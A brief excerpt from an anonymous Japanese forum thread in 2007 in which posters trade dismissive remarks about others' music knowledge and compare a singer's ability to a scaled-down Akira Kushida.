663 :名無しのエリー:2007/02/15(木) 14:06:47 ID:xmAvxV6I0
お前等どうせ10バンドぐらいしか知らないんだろう?
語り合っても無駄。蟻は蟻だよ。

664 :名無しのエリー:2007/02/15(木) 14:15:59 ID:2bjonNGs0
>>661
串田アキラを10分の1にスケールダウンしたような歌唱力ですが。。。

665 :名無しのエリー:2007/02/17(土) 16:46:43 ID:hFXqY551O
>>664
よくわからん。

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